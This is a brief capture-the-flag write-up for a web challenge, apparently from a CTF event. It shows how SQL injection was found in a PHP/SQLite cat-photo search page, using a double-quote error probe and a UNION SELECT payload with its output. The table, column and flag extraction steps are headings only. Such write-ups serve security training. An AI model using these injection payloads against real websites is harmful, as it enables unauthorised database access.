Cat Viewer

Description

I built a little web site to search through my archive of cat photos. I hid a little something extra in the database too. See if you can find it!

https://nessus-catviewer.chals.io/arrow-up-right

Solution

As soon as we go to given link we are redirected to https://nessus-catviewer.chals.io/index.php?cat=Sheltonarrow-up-right

  1. Application runs on PHP

  2. cat variable returns images

  3. Searching for cats with names like Shelton most likely the SQL statement.

Let's try inserting invalid statement to get error message.

Searching for cats with names like Shelton"
                                          ^

Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: """ in /var/www/html/index.php on line 19

Fatal error: Uncaught Error: Call to a member function numColumns() on bool in /var/www/html/index.php:21 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 21

Ok, we identifed that we are dealing with SQLite3. I then tried UNION SQLi fuzzing:

Searching for cats with names like Shelton" UNION SELECT 1,2,3,4 -- -  
  
Name: 3  
  
<img src="data:image/gif;base64,2" />

Extract table names: (PayloadsAllTheThings - SQLitearrow-up-right)

Extact columns:

Flag:

circle-check

Last updated